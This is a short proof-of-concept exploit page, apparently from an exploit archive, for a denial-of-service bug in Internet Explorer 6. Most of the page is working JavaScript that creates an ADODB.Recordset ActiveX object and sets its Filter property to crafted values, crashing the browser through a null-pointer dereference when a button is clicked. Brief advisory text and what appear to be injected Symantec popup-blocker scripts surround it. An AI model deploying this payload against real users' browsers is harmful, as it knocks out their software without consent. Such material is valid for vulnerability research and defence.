Microsoft Internet Explorer 6 - ADODB.Recordset Filter Property Denial of Service

source: https://www.securityfocus.com/bid/18773/info

Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'ADODB.Recordset Filter Property' COM object. 

A successful attack may cause the browser to fail due to a null-pointer dereference.

# Microsoft Internet Explorer ADODB.Recordset Filter Property poc

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

// MoBB Demonstration
function Demo() {
	a = new ActiveXObject('ADODB.Recordset');
	try { a.Filter = "AAAA" } catch(e) { }
	try { a.Filter = "BBBB" } catch(e) { }
	try { a.Filter = 0x7ffffffe; } catch(e) { }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script>